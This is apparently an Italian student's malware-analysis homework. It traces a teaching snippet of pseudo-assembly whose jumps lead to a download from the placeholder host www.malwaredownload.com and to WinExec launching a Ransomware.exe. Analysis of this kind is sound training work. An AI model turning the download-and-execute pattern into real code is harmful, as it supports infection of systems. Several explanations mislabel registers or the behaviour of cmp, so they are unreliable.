Florea Adrian Mario

S11_L5

TRACCIA

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

- Spiegate, motivando, quale salto condizionale effettua il Malware.

.....

- Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.

.....

- Quali sono le diverse funzionalità implementate all'interno del Malware?

.....

- Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

codice principale

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

- Spiegate, motivando, quale salto condizionale effettua il Malware.

procedimento del primo salto:

Il valore 5 viene copiato con il comando “mov” all’interno del registro EAX.
Con il comando “cmp” viene comparato EAX al valore 5 e, come visto in precedenaza il valore comparato è lo stesso che c’è all’interno del registro quindi il salto ad una seconda locazione non avviene (“jnz” indica “jump not zero”, ed il valore che ci viene restituito dal “cmp” è 1, quindi il salto non viene effettuato a “0040BBA0”).

ecco cosa succederebbe se dovesse invece saltare:

Alla locazione “0040BBA0" viene copiato “EDI” (contenente un link malevolo) all’interno di “EAX” che inizialmente conteneva valore 5.
Viene poi inserito “EAX” dentro allo stack con il comando “Push” (EAX indica il file .exe da eseguire), ed infine viene richiamata la funzione “DownloadToFile()” con il comando “call” che farà sì che venga scaricato dal sito malevolo un file .exe altrettanto malevolo.

procedimento del secondo salto:

Viene inizialmente inserito il valore 10 all’interno di “EBX”;
Viene successivamente incrementato di 1 (10+1) il valore di “EBX”, usando il comando “inc” per poi fare un paragone tra EBX e 11 con “cmp” e, (“jz” vuol dire “jump if zero”) di conseguenza viene effettuato il salto alla locazione “0040FFA0” perchè il valore che “cmp” ci restituisce è 1.

Alla locazione “0040FFA0” viene copiato EDI all’interno del registro “EBX” con il comando “mov” (EDI contiene il path di un file .exe malevolo).
Il registro viene poi inserito nello Stack con il comando “push” per poi eseguire il file (in questo caso pare essere un Ransomware) con il comando “call” che richiama la funzione “WinExec()” per far sì che il ransomware venga eseguito.

- Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.

Run

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

jump non effettuato

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

jump effettuato

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Viene eseguito il file malevolo con l’istruzione “call”

- Quali sono le diverse funzionalità implementate all’interno del Malware?

Il Malware ha una funzionalità per ogni salto condizionale, ovvero:

La funzione WinExec viene utilizzata per lanciare un'file .exe creando un nuovo processo che lo eseguirà. Il primo argomento è una stringa che rappresenta il percorso del file di programma da eseguire e il secondo è un parametro che specifica come deve essere visualizzata la finestra dell'applicazione (ad esempio, nascosta, minimizzata o massimizzata). Internamente, carica ed esegue l'applicazione e gestisce l'ambiente di esecuzione del processo che viene aappena creato. valore di ritorno poi indica se l'esecuzione ha avuto successo o meno.

La funzione DownloadToFile ottiene i dati(file di qualsiasi natura) da un sito e li salva in un file sul sistema da cui viene eseguita la funzione. Scarica il file dalla posizione desiderata e chiede l'indirizzo della risorsa remota insieme al percorso in cui salvare il file.
Durante il processo,da quando viene richiamata la funzione, si connette alla risorsa remota, ottiene i dati e li scrive sul file di destinazione.

- Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

In entrambi i jump, per l'istruzione “call”, i parametri vengono trasferiti attraverso lo stack. Questo avviene inizialmente con i comandi “mov”, “push” e infine “call” per entrambi i salti condizionali in cui ciascuno rappresenta quanto segue:

mov: serve per copiare un dato/variabile dentro a un registro.

push: serve per inserire una variabile/registro all’interno dello stack.

call: Infine call serve per richiamare una data funzione che può essere di varia natura (WinExec, DownloadToFile e cosi via..)